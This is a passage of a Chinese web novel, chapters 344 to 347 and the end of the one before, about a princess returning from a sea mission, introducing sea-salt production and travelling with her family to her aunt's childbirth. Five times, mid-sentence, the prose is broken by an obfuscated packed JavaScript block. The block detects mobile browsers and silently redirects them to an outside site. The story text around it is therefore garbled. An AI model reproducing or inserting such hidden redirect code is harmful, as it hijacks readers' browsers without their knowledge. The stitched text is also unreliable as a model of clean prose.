裴祈安快步上前,一把将女儿拉起:“也不怕你娘心疼,快起来。”皇帝的声音一如既往的威严,但握着女儿手臂的手却微微发颤。 温令仪早已泪眼朦胧,看着女儿黑了也高了的模样,一时哽咽难言。她伸手轻抚女儿的脸颊,千言万语化作一声:“回来就好,回来就好。” 这时,一个身影飞快地扑过来,一把抱住了裴明熙:“姐姐!姐姐!我好想你啊,你可算回来了!” 裴明熙低头看着已经长高不少的弟弟,忍不住笑了:“无染长大了不少啊。” 裴佑玺抬起头,眼睛亮晶晶的:“姐姐,我都有好好读书练武,父皇说我进步很大!” 裴祈安轻咳一声,掩饰着内心的激动:“外面风大,回宫再说吧。” 回宫的路上,温令仪一直握着女儿的手不放,细细询问这两年的点点滴滴。裴明熙挑了些有趣的见闻说来,逗得母亲和弟弟笑声不断。裴祈安虽不言语,却一直侧耳倾听着,偶尔嘴角微微上扬。 抵达皇宫时,已是傍晚时分。宫中早已备好接风宴,文武百官齐聚一堂。 宴席上,裴明熙举止得体,谈吐优雅,与各方官员应对自如。她不再是两年前那个青涩的公主,眉宇间多了几分坚毅与睿智。裴祈安看着女儿,眼中满是欣慰。 宴席结束后,一家四口难得地聚在温令仪的凤仪宫中,屏退左右,说着体己话。 裴佑玺迫不及待地拿出自己这一年来的功课和习武成果,向姐姐展示。裴明熙认真地看着,不时点头称赞,听得小家伙眉开眼笑。 温令仪拉着女儿的手,柔声道:“这一路辛苦了吧?看你瘦了这么多,定是海上吃食不合胃口。母后已命人备好了你最爱吃的点心,一会儿尝尝。” 裴明熙心中一暖,靠在母亲肩上:“还是娘亲最疼我。” 一直沉默的裴祈安忽然开口:“四珍岛的事,你做得很不错。朝中大臣们对你此次出使评价甚高。” 能得到父皇的认可,裴明熙心中涌起一股暖流:“多谢爹爹夸奖,女儿只是尽己所能,不负墨染所托。” 提到墨染,裴祈安和温令仪都轻轻地叹了口气,他们曾经试图寻找墨染的踪迹,可这个人就像是凭空出现又凭空消失了似的。 “听说你在岛上遇过险?”裴祈安状似随意地问道,眼中却闪过一丝担忧。 裴明熙轻描淡写地带过:“不过是小风浪,无碍的。四大家族的护卫很得力。” 温令仪却听得心惊:“遇险?怎么没在信中提起?” “怕娘亲担心嘛。”裴明熙撒娇道,“您看,我这不是好好的?” 一家人聊至深夜,裴佑玺早已靠在姐姐身边睡着了。温令仪轻声道:“今晚就宿在娘亲这儿吧,你的宫殿一直有人打扫,随时可以住。” 裴明熙却摇摇头:“女儿还是回自己宫中吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357440|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些从四珍岛带回来的东西要整理。” 裴祈安点点头:“明日早朝,你也来吧,详细说说四珍岛的情况。” “是,爹爹。” 回到久违的寝宫,一切如故,仿佛她从未离开。裴明熙屏退宫人,独自站在窗前,望着天上的明月。海上的月亮似乎更大更亮,但终究不如故乡的月让人心安。 她从行囊中取出一个精致的木盒,里面装着她从四珍岛带回的各种珍奇——有能治百病的海草,有会发光的珍珠,还有各部族赠送的礼物。每一件背后都有一个故事。 最底下,是一枚特殊的贝壳,上面精细地雕刻着四珍岛的地图。这是岛上一个老匠人送给她的,感谢她为岛上带来的和平。 想起岛上的日子,裴明熙不禁微笑。那些艰难与挑战,如今都成了宝贵的经历。她学会了如何与不同的人打交道,如何在危难中保持冷静,如何做出艰难的决定。 窗外的风吹过,带来冬日的寒意。裴明熙关上窗,心中却暖意融融。无论走多远,这里永远是她的家。 第二天一早,裴明熙准时出现在朝堂上。她详细汇报了四珍岛的情况,提出了加强与海上诸岛联系的建议,条理清晰,见解独到,赢得朝臣们的一致赞许。 下朝后,裴祈安将女儿叫到御书房,父女二人长谈了一个多时辰。就海事政策、对外贸易、边境安全等诸多国事,裴明熙都提出了自己的见解,不少想法让裴祈安眼前一亮。 “你真的长大了。”裴祈安最终感叹道,眼中满是骄傲。 裴明熙微笑:“女儿永远都是父皇母后的孩子。” 走出御书房,裴佑玺正在外面等着她:“姐姐!今天陪我去练箭好不好?你答应过要教我海上学来的那种射法的!” 裴明熙揉揉弟弟的头:“好,答应你的事,姐姐一定做到。” 阳光洒在宫墙上,温暖而明亮。裴明熙深吸一口气,感受着故乡的气息。远航的船终要归港,而这次回归,不是结束,而是新的开始。她知道,自己带回的不仅是四珍岛的珍宝,更是一个更加成熟、更有能力的自己,能够为这个国家,为这个家,做更多的事。 而无论未来还有什么挑战等待着她,此刻,她只想好好享受与家人团聚的时光。 第344章 我就是为了你和娘亲来的啊 裴明熙的归来,在京城引起了不小的轰动,朝臣从长公主的讲解中知道了大昭意外,辽阔海域里的许多国家,百姓从长公主带回来的那些货物里看到了远处的世界。 “听说没?长公主说海里头有一个小岛,三面都是金银珠宝,不过哪里的人过得很苦,各有粮食吃,啧啧啧,我要是能出海,别的不带就带粮食,能换回来多少金银珠宝啊!”有人小声说。 旁边的人摇头:“你可真是要钱不要命,要我说啊,只要不贪,且看着吧,咱们大昭一定会组织商队出海,到时候能跟着出去开开眼界都是好的。” “不是说海外有仙山嘛,我看也没啥稀奇的。”有人摆手:“还是咱们大昭好,如今这好日子不安心过,跑出去做什么?” 从京城,到各处,百姓们都在讨论大海里的世界,越传越离谱,不过再怎么离谱,也没有人比他们的长公主更厉害。 腊月二十三,祭灶神的日子。温令仪一早便带着宫人忙碌起来,整个皇宫弥漫着过节前特有的热闹气氛。灶糖、灶饼、香烛纸马,一应俱全地摆放在厨房外的供桌上。 “囡囡和无染呢?”温令仪四下张望,找了好半天也不见一双儿女,只得问正在批阅奏折的裴祈安。 裴祈安过来揽着温令仪的肩:“在御花园里,不知道折腾什么呢。明熙从海边带回来几个匠人,说是要演示什么海水制盐的法子。” 话音刚落,就见裴佑玺一溜烟儿跑进来,两只小手攥成拳头,小脸不知是冻得还是兴奋的,红扑扑像秋天熟透的苹果。 “爹,娘,阿姐的盐!”裴佑玺跑到父母面前,小心翼翼地摊开掌心。小小的手掌心里,盛着雪白细腻的盐粒,在冬日阳光下闪烁着微光。 温令仪惊讶地拈起一点放入口中,顿时睁大眼睛:“这盐...竟然没有一点苦味!” 裴祈安也尝了尝,神色凝重起来:“走,去看看。” 御花园一角,裴明熙正指挥几个从海边带来的匠人操作一套奇特的装置。几个大陶盆盛满海水,底下用小火慢慢加热;旁边是用竹子和麻布搭成的过滤装置;最显眼的是一个平底大锅,底下架着火,锅中海水正在慢慢结晶。 “爹爹,娘亲,你们来了。”裴明熙笑盈盈地迎上来,“这就是我在四珍岛学来的海水制盐之法。” 裴祈安俯身仔细观察那些雪白的盐粒,若有所思:“我大昭虽不缺盐,但内陆盐井产盐有限,且多为粗盐,苦涩难当。若此法可行?” “爹,照现在看,是行的。”裴明熙说:“四珍岛四面环海,岛上并无盐井,全靠此法得盐。女儿亲眼所见,一石海水可得二升好盐,若是天气晴好,日光强烈时甚至无需柴火,晒之即可得盐。 温令仪好奇地问:“这海水又咸又苦,如何能变成这般纯净的盐?” 裴明熙挽起母亲的手,仔细讲解:“娘亲,这制盐之法其实不难。首先须取清澈海水,过滤去杂;而后将海水引入浅池曝晒,待水分蒸发大半;最**锅煎煮,便可结晶成盐。关键在过滤和曝晒的火候,过滤不净则盐味苦涩,火候太过则盐带焦苦。” 她指向正在操作的匠人:“这几位都是四珍岛上的制盐好手。女儿特意请他们来京,就是要将此法传于我大昭。” 裴佑玺在一旁插话:“阿姐说,海边的人都能学会!” 裴祈安目光深远:“若真如此,沿海百姓便可多一谋生之计,朝廷也能得更多税赋。明熙,你此举功在千秋。” 接下来的日子,裴明熙整日泡在御花园的“制盐工坊”里。她不仅亲自参与每一个步骤,还命人详细记录各种数据:多少海水得多少盐,需要多少柴火,需要多少工时。 腊月二十五,第一批试验制成的海盐被送到御膳房试用。御厨们惊喜地发现,这海盐比寻常井盐更加纯净,做出的菜肴味道格外鲜美。 消息不胫而走,朝野上下都对长公主带回来的制盐术议论纷纷。 裴祈安召户部尚书、盐铁使、工部尚书入宫。 朝廷年底挂印,若无大事,并不会召见朝臣,所以很多人在等消息。 御书房里,户部尚书顾衍上前:“陛下,长公主所献海水制盐之法,臣已派人查验。若真能在沿海推广,我大昭盐产将增三成不止!” 盐铁使沈岱青微微摇头,颇有些担忧的说:“陛下,盐业关系国计民生,历来由官府专营。若允沿海百姓自行制盐,恐难管理。” 裴明熙早已料到会有此议,不慌不忙地道:“大人所虑极是。本宫以为,可设盐场由官府督办,招募沿海百姓为盐工,按量给酬。如此既可增收,又便于管理。” 工部尚书连连点头:“长公主思虑周全。臣还听说,四珍岛上有一种晒盐法,不需柴火,全凭日光曝晒,成本更低。” “正是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369526|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”裴明熙微笑,“儿臣已命人绘制晒盐池的图纸,请父皇和各位大人过目。” 内侍呈上图卷,众臣围观,只见图上画着层层叠叠的盐池,巧妙地利用地势让海水自流,省时省力。 裴祈安龙颜大悦:“好!明熙此行,真乃天佑大昭。即命工部、户部共同督办,先在归海府试建盐场,若成效显著,再推广各沿海州县。” 裴明熙被众臣围住,详细询问制盐细节。她从容应答,将自己在四珍岛上学到的知识倾囊相授,不仅讲制盐之法,还讲到如何根据潮汐选择取水时机,如何根据天气调整曝晒时间等等。 直到日暮十分,大臣们才陆续散去。裴明熙揉揉酸痛的肩颈,一转身却看见父皇站在不远处,眼中满是赞许。 “陪爹走走吧。”裴祈安道。 父女二人漫步在宫墙下,裴祈安忽然问:“除了制盐,四珍岛可还有别的值得学习之处?” 裴明熙眼睛一亮:“多得是呢!四珍岛人善于利用海流判断鱼群动向,捕鱼收获颇丰;他们用海草肥田,庄稼长得格外好;还会从贝壳中提取颜料,染出的布匹颜色鲜艳不易褪色。” 她说着说着,声音低了下来:“但儿臣认为这些不过是民生事,可以容后再议,更可以徐徐图之,如今是岐国镇海,是我大昭隐患,需除而后快。” 裴祈安点头:“赵诚接管四珍岛后,大昭会陆续增兵,不管是岐国还是别的海岛*国家,若归顺,大昭欢迎,若顽抗,大昭也不惧。” 裴明熙笑着挑起大拇指:“我爹天下第一厉害,虎父无犬女,我也不差,我在四珍岛教他们筑坝蓄水、开垦梯田,他们教我制盐、捕鱼、染布。四大家族虽然回来了,但是岛上还有很多百姓,赵大人若肯惠民,一定会很快站稳脚跟儿的。” 裴祈安停下脚步,认真地看着女儿:“明熙,你长大了。我和你娘时长觉得愧对于你,从来不曾让你享受过父母的庇护,反而你那么小就庇护着我和你娘。” 裴明熙眼眶微热:“爹,我就是为了你和娘亲来的啊,可不能说这样的话,我要哭鼻子了。” 窗外的雪静静落下,覆盖了京城的朱墙黄瓦。 海盐之利,不过是个开始。她带回来的,是一个更加开阔的眼界,一个更加开放的胸怀。而这,正是大昭所需要的。 又是一年,墨染在何处?过得可好?她好想念墨染啊。 第345章 这就是上了套的驴啊 辞旧迎新时,裴明熙代表皇家召见了四大家族的人,因早就给四大家族在京城安排了宅院,并且还在京城外给安排了一个庄子,房屋田地安排妥当,意在让四大家族真正感受到什么是回家了。 以汪家为首的四大家族主事人都带着家眷们住在京城里,裴明熙带着他们逛京城。 从女学到公主祠,再到南北城的街头巷陌,回到故土的他们却不敢相信这便是曾经的大梁。 耄耋之年的老者几度哽咽,大梁末期他们正年轻时,正是民不聊生刀兵四起时,再次回来看到的是百姓安居乐业,饶是再怎么故国难忘也不得不承认,新旧更迭是必然,因民心所向。 除夕夜,四大家族作为大昭的远道客人,也在受邀之列,君臣一起等辞旧迎新的钟声响起。 正月初五,朝廷正式开印。 开年第一个朝会,在京五品以上官员都来到金銮殿。 裴祈安率领群臣祭拜天地,随后四大家族的人受封。 汪直为五品奉政大夫,李家、周家和陈家都不想入朝为官,只想要过耕读传家的生活。 裴祈安自是愿意如此安排,但四大家族既然回到了大昭,也需遴选人才,所以李家后辈中,李少泽,周家后辈中,周远峰,陈家后辈中,陈砚,在汪亦安的带领下成为大皇子裴佑玺的伴读。 这件事安排妥当后,裴祈安缓缓开口:“众位爱卿一定早有耳闻,盐事是天下事,是大事,长公主从海外带回来了能工巧匠,并且工部那边已经着手在归海府建晒盐场了。” 众臣当然心里明镜儿似的。 裴祈安话锋一转:“大昭不能故步自封,需要走出去,海外还有很多可取之处,学其精华以强国力,可建海外商队,民间亦可组建船队,朝廷护航。” 朝臣跪倒,山呼万岁,毕竟商队可以组建,但若无护航,只怕有去无回。 当朝可不止有宋家这等大商贾,更有众合商会,百姓虽说未必敢出远海,可近海渔船、商船,未来必定会成为让很多人从赤贫到富裕的机会。 散朝后,裴祈安让汪直和余下三家的家主到御书房。 “你们离家太久,但曾经的祖宅和宗祠必定还在原籍,朕已安排车马送你们回去原籍祭祖,回去尽可安排妥当,三日后能启程。”裴祈安说。 汪直和三家家主跪地谢恩,这是何等礼遇啊。 “平身吧,以后纵不入朝为官,朕也希望你们在各行各业为大昭尽一份力。”裴祈安说。 这也是他的目的,这四大家族曾是大梁最厉害的存在,只不过时过境迁,又才回到大昭,不肯入朝为官是明智之举,但四大家族的底蕴不容小觑,大昭需要各种人才。 四大家族离开御书房,裴祈安召见了罗岳和温静言,二人已育有一子,比裴明熙晚了几日回到京城,在归海府下船后,便去查看这一路的农田了。 “臣罗岳。” “臣温静言。” “拜见吾皇。” 夫妻二人跪在地上。 裴祈安起身扶着罗岳和温静言起身:“你们一心为国,四珍岛上受苦了,如今归大昭可不能再往外跑,静言身为大司农,要抓紧农事,罗岳,你一直都不肯担任要职,如今要为国分忧了。” 罗岳拱手行礼:“皇上,祖父身体日渐不济,臣想要在床前尽孝。” 裴祈安让罗岳坐下:“如今的大昭可不是以前的朝廷,罗老大人一直都担心文武同门,终会成隐患,可朕能广纳贤才治国,会放你罗岳做个闲散人?” 罗岳确实被难住了,罗家已经有了大昭第一位女官了,若他再入文臣之列,二弟在军中这些年的心血可能就会付之东流,他退一步,是为了整个罗家能安稳,显然这个想法瞒不过裴祈安。 “朕以为,你可为左尚书令,为朕分忧,罗政镇守雁门关是国之重器,罗家是大昭柱石啊。”裴祈安看着罗岳:“不准推辞。” 罗家。 罗无咎逗着重孙,听完罗岳的话,笑了:“当今皇上确实有开国之君的贤明,皇后更有母仪天下的胸怀,就连长公主小小年纪都能开疆拓土,确实罗家不该退啊。” “祖父,可一门同文武,还有静言这个大司农,是不是风头太盛?”罗岳担忧的说。 罗无咎坐下来,抿了口茶:“当初,你父志不在仕途,也是因前朝确实露出了败相,但凡功高者都下场凄惨,所以不让你父和政儿入仕,是求稳妥。” 罗岳点头。 “但现在不同了,长子为盾,意在求稳,其性如磐石,承袭家业根基,次子为矛,贵在进取,勇于开拓,你和政儿一盾一矛,相辅相成,盾固本,矛克敌,守正者不出错,出奇者博未来,如此攻守兼备才能让整个罗氏家族生生不息,这才是长久之道,兴家之相啊。”罗无咎抬头看罗岳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369527|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“去吧,大有可为。” 老臣罗无咎致仕退隐,温城也颐养天年去了。 从罗岳成为左尚书令这一日开始,大昭开了一个新时代。 与此同时,远在归海府,第一个晒盐厂投入使用,当雪白的盐堆成山,百姓们欢呼雀跃,盐铁使安排了陆运和漕运,满载海盐整装待发,这些盐可以取代那些苦味盐,为百姓保驾护航。 一匹快马离开归海府,日夜兼程,当这一桶盐出现在御书房的时候,裴祈安都兴奋的搓手了。 天命所归,过于泛泛。 但大昭如今处处都向好,让天命所归有了更直观的感受。 “传旨,盐乃百姓之根本,大昭境内所有湖盐、井盐、岩盐,都暂停开采,整顿工艺,归海府海盐运到各地,当地衙门监管,价十文一斤,若有敢哄抬物价者,杀无赦!”裴祈安知道,盐价居高不下,全因盐少,如今有海盐,这是天赐之物,取之不尽用之不竭,必须要惠及百姓。 昭告天下后,归海府的盐从陆路和水路奔赴各处。 后宫。 裴明熙在教导裴佑玺,同时还有四家族的伴读,她目光如炬,缓缓说道“知识如海水,取之不尽,但须与人分享,方能咸润天下。” 门外,温令仪和温静言相视一笑。 曾几何时,谁能想到会有今天这般光景? “像做梦一样。”温令仪拉着温静言的手到亭子里坐下:“长姐的家书昨儿到了,孩子来的晚一些,大概要到六月了。” “二姐,去看长姐啊。”温静言说:“刚好我带回来了不少好东西,一起给长姐送去,你在大昭母仪天下,长姐在大周亦是母仪天下的人,要地位稳固可得有点子金刚手段。” 温令仪笑着戳了戳温静言的脑门:“你如今在朝为官,能说走就走?” “能。”裴祈安走进来,身后跟着罗岳:“萧玄策来信说了,非但要让我们去,还希望带着药王谷的人,他可比长姐更紧张。” 温令仪起身,温静言给裴祈安行君臣礼。 “免礼,这是在家里,无需拘束。”裴祈安说罢,走到温令仪面前:“怎么样?咱们出去走走?” “国不可一日无君。”温令仪说。 裴祈安看了眼罗岳:“左尚书令可监国。” 罗岳无声叹息,自己能说不愿意吗?罢了,这就是上了套的驴。 第346章 裴佑玺的立心之旅 谁能想到,一家四口悄悄溜出京城,后面的马车里还有温静言带着专攻孕产的林宝娘。 裴祈安简直像是出笼的鸟,看田里忙碌觉得开心,看孩童嬉戏觉得开心,看耕牛遍地走,更是笑得合不拢嘴。 “你这样真的合适吗?”温令仪看他怎么都落不下去的嘴角,小声提醒。 裴明熙无奈的压了压额角:“我爹是在里面困得太久了,幸亏出来走走,不然还不傻了?” “姐姐说得对。”裴佑玺立刻应和,随后来了一句:“我也要困傻了,家里就那么点儿地方,哪里有外面大啊。” 裴祈安收回目光,正襟危坐:“你们姐弟俩不要口无遮拦,为父高兴可不是因为看到什么景致了。” “不是看到景儿了?”裴佑玺说:“那爹爹看到什么了?” 裴祈安神色凝重的说:“大昭的希望,看到了咱们努力了两年的成果,看到了百姓安居乐业,你说,这不是高兴的事吗?” 裴佑玺疑惑地问:“爹爹,难道以前外面不是这样的吗?” “当然不是。”裴明熙捏了捏弟弟的脸蛋儿:“你来的晚,不知道曾经这些百姓日子过得多难,洪水、时疫还有人祸,别说吃饱穿暖了,能活下来都是大造化啊。” 裴佑玺来了精神,缠着姐姐给他讲以前。 裴祈安让马车停下来,带着温令仪去了另外一辆马车,小孩子在跟前确实呱噪,夫妻二人平日里就算在宫中天天见面,可也难有如此闲情逸致。 所过村镇,一家人都会下车走一走,看看当地的风土人情和美食。 相比于刚从京城出来的时候,裴佑玺改变是最大的,慈幼院里,他能玩一天,临别还会留下自己荷包里的银票,更会鼓励那些小孩子们要努力长大。 他说:“我在京城的家很大,只要你们长大了去京城,就找汪亦安。” 裴明熙陪在身边憋着笑,汪亦安如果知道自己成了弟弟在外面的名号,不知道作何感想。 裴祈安和温令仪并不会限制裴佑玺,甚至会鼓励他这样做。 立心比立志更适合现在他的。 原本两个月就能到漠北,因走走停停,快三个月才到。 漠北军营里。 凤翎军旌旗招展,毫不逊色温家军,温慕阳迎出十里外。 “姐姐,你哭什么?”裴佑玺看着裴明熙眼圈红红的,顿时心疼了,拉着她的衣袖小声问。 裴明熙翻了个白眼儿:“我才没哭,漠北风沙大,迷眼了。” “哦。”裴佑玺知道姐姐不愿意说。 片刻,裴明熙说:“你看那些穿着红战衣的将士们。” 裴佑玺点头:“凤翎军,我知道的,这是咱们大昭最厉害的女子。” “无染,你可知道这条路,女子走到这一步用了多久吗?”裴明熙抬头看着凤翎军:“自古以来,男尊女卑,总觉得女子犹如菟丝花一般要依附于男子才能立于世间,多少女子从出生到离开人间,囿于后宅方寸之地,耽于灶台和床笫之间,夫敬尚且还能舒坦过活,可若夫欺则难有立足之地,偏偏娘家劝忍,婆家拿捏,多郁郁而终啊。” 裴佑玺抬头看着姐姐,他已经四岁了,一岁时姐姐就给自己开蒙,如今更是不敢有分毫怠慢,想着成为姐姐这样厉害的人物,何曾见过姐姐如此哀伤的语调说事? “娘亲和我,还有大姨母和小姨母,甚至女学中的每一位女子,漠北的凤翎军都在内,这是开天辟地头一遭让女子能自立于世,能凭自己的本事和男人分庭抗礼,她们的聪明才智,坚韧果敢都和男人并无二致,但终因是女儿身,要为人母,抚育儿女,会归于后宅啊。”裴明熙低下头看着裴佑玺。 裴佑玺拿出帕子给姐姐擦眼泪:“姐姐,你是怕这些女子终究成为一现昙花?” “是。”裴明熙说:“我们此番去大周,是为了姨母临盆之喜,我站在这里看到凤翎军就想到了姨母,姨母一手建立凤翎军,可她现在却不在这里,她嫁为人妇,抚育儿女,别说别人让不让她重新披挂上阵,只怕姨母自己都不想离开儿女了。” 裴佑玺踮起脚尖儿,给裴明熙擦掉眼角的泪珠儿:“姐姐,娘亲说过,一代人的努力不够,就代代人努力,姨母虽成为了大周的皇后,但凤翎军还在,凤翎军里的女子一旦服役三年后归家,朝廷会给丰厚的赏赐,婚配嫁娶谁敢难为? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373572|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些女子就像是星星之火,散落天涯也带去了女子可自强的信念,只要信念在,又怎么会断绝呢?” 裴明熙看着弟弟黑亮黑亮的眸子,破涕为笑:“嗯,是姐姐一时没想开。” “因为你怕大昭的女子会重蹈覆辙,这可不是想不开,回头要跟爹爹说,凤翎军的后续安置一定要体现出来大昭并不倡导男尊女卑,反而是敬重女子,因为没有女子孕育后代,那不是人道灭绝了吗?”裴佑玺说到这里,坚定地点了点头,似是在鼓励自己一般:“对,没错,就是这样的。” 裴明熙知道弟弟还小,四岁的孩子能说出这样的话是真的很了不起了。 “是姐姐不好。”裴明熙坐在地上:“急于求成,事倍而功半,其实可以专门写一本奏折。” 裴佑玺点头犹如小鸡啄米:“对,姐姐,我可以帮忙。” 漠北往大周,凤翎军抽调出三百精锐护送。 裴祈安看着界碑,微微挑眉:“萧玄策是很下得了血本的。” 毕竟,当初为了迎娶温令容,退出曾经在西凉占有的土地,作为给大昭的聘礼,单就这一点可不是谁都能做到的。 温令仪低声问:“大宛可昌盛?” 如今再无西域三十六国,而是成了大周三十六郡,大周皇城就建在曾经的大宛国。 裴祈安点头:“可以说是三十六郡的中心,并且这两年萧玄策并没有闲着,而是向西扩张了许多。” 温令仪抬头远眺,她的长姐,如今临盆在即,不知道可一切安好。 大周皇宫里。 大周皇后温令容正在看舆图,在上面寻找妹妹的来时路,腹大如箩的她气色红润,丝毫不见疲态。 “容容。”萧玄策从外面进来,满脸喜色:“到了,到了。” “到了?”温令容回头。 萧玄策伸出手扶着她:“明日能到大宛,日暮能到宫中,可算把他们盼来了。” 温令容轻轻地拍了拍萧玄策的手背:“别怕,一定会顺利的,我也做了准备呢。” “一定要稳妥,一定要。”萧玄策抚着温令容的腹部,自己要个女儿,像囡囡那边的聪明伶俐就知足。 第347章 有他这句话,就够了! 大宛如今是大周的皇城。 温令仪一行人到了大宛境内后,大周的官员就开始次第迎接。 因皇上有旨,不可耽误行程,所以这些官员都恨不得一股脑的把好东西奉上,谁都不是傻子,这个不单单是皇后的娘家人,更是大昭的帝后,公主和皇子啊。 皇城的城门口,温令仪一眼看到了长姐,她焦急地往这边张望,身量跟自己怀孕时候比起来,要笨重很多。 “宝娘,长姐这身量怎么像双胎?”温令仪有些害怕了,也终于明白为什么萧玄策会极力让他们都过来,双胎无异于九死一生,平安降生是大周之福,可是若殒命临盆日,两国可能不会开战,但绝对不会有大周好果子吃,短短两年啊,大昭军事上已经让萧玄策心生恐惧了。 也就是这两年,萧玄策才相信当年小囡囡的话,裴祈安才是真正的一方霸主,而他虽不至于俯首称臣,但已经没有分庭抗礼的心思了。 车驾尚未停稳,温令仪已迫不及待地探出身。风尘仆仆掩不住她眉宇间的焦灼,目光穿越人群,紧紧锁在那道臃肿笨拙的身影上——她的长姐,大周的皇后温令容。 温令容显然也看到了她们,她试图向前几步,身旁的宫女内侍却慌得连忙搀扶劝阻,生怕有半点闪失。她只得停下,一手撑着后腰,一手抚着高耸得惊人的腹部,脸上努力绽开一个迎接的笑容,但那笑容在苍白疲惫的面容上,显得如此脆弱,仿佛下一秒就会被巨大的负担压垮。 “长姐!”温令仪几乎是跌撞着下了马车,快步上前,一把扶住温令容的手臂。触手之处,隔着重锦衣料,也能感受到那份不同寻常的沉重和紧绷。“你……”她喉咙哽住,视线迅速被水汽模糊。离得近了,更觉惊心。温令容的脸庞浮肿,眼下是浓重的青黑,连站着都微微喘息,全靠身边人支撑。 温令容反握住妹妹的手,指尖冰凉,却努力笑着:“可算把你们盼来了。路上辛苦了吧?囡囡呢?快让我看看无染……”她说着,目光急切地投向后续的马车,寻找着妹妹的孩子,那是一种深植于血脉的关怀,即使自身已处于极度不适中,仍本能地惦记着亲人。 裴明熙牵着裴佑玺到近前,双膝跪倒:“姨母在上,请受我们姐弟二人一拜。” 温令容想伸手扶着姐弟二人起身,温令仪和宫女同时扶住了她。 “长姐,你如今这身子,万万不可劳累。”温令仪声音发紧,目光再次落在那巨大的孕肚上,忧心忡忡,“太医怎么说?我瞧着是双胎?” 温令容笑容微涩,轻轻拍了拍妹妹的手背,低声道:“无妨的,太医署日日请脉,都说是孩子壮实些。”她的话语里带着一丝不易察觉的回避,显然不愿多谈其中的凶险。 此时,随行的裴祈安也已安排妥当前来,他与温令仪交换了一个眼神,彼此都看到了对方眼中的凝重。萧玄策也迎了上来,身为帝王的他,此刻眉宇间难掩倦色与担忧,对温令容的呵护小心翼翼近乎惶恐。 一行人入了宫城,气氛并不轻松。表面的皇家仪典和寒暄过后,温令容便被宫人簇拥着回寝殿歇息,她确实已耗尽了力气,每走一步都显得异常艰难。 是夜,温令仪坚持宿在温令容寝殿的偏殿。姐妹二人终于得以单独说些体己话,尽管温令容气短神疲,仍强打着精神。 “令仪,看到你好好的,姐夫待你如珠如宝,宝娘也健康可爱,阿姐就放心了。”温令容靠在软枕上,握着妹妹的手,眼中是欣慰,“大昭强盛,无人敢欺你,阿姐……真的替你高兴。” “长姐,”温令仪鼻子一酸,“你光顾着说我,你自己呢?你实话告诉我,太医到底怎么说?你这肚子绝不仅仅是壮实些那么简单!” 温令容沉默了片刻,寝殿内只闻烛花噼啪轻响。良久,她叹了口气,眼中浮上泪光,却倔强地没有落下:“是双胎且月份太大,胎位一直不正。太医署早已束手,只说是听天由命,用药吊着,盼着能撑到足月,或许还能有一线生机。”她终于说出了实情,声音轻颤,带着无尽的恐惧与无奈,“我怕极了,令仪。我怕见不到你,怕孩子们撑不住,若我们母子三人都不能过这一关,他可怎么办呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373573|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这个“他”,自然是大周皇帝萧玄策。温令仪瞬间明白了所有。萧玄策那般急切地请他们来,哪里仅仅是亲戚情分,分明是怕温令容一旦有事,大昭帝后在此,总能缓冲一二,更怕温令容心有挂碍,熬不过这一关。他是在用这种方式,给温令容求一个心安,也是给大周求一个转圜的余地。 “别怕,长姐,别怕。”温令仪紧紧抱住姐姐,仿佛要将自己的力量传递过去,“我们来了,我和祈安都在,还有宝娘专攻产褥这一科,放心吧,不管到何种境地,我都会保证你们母子三人平安!” 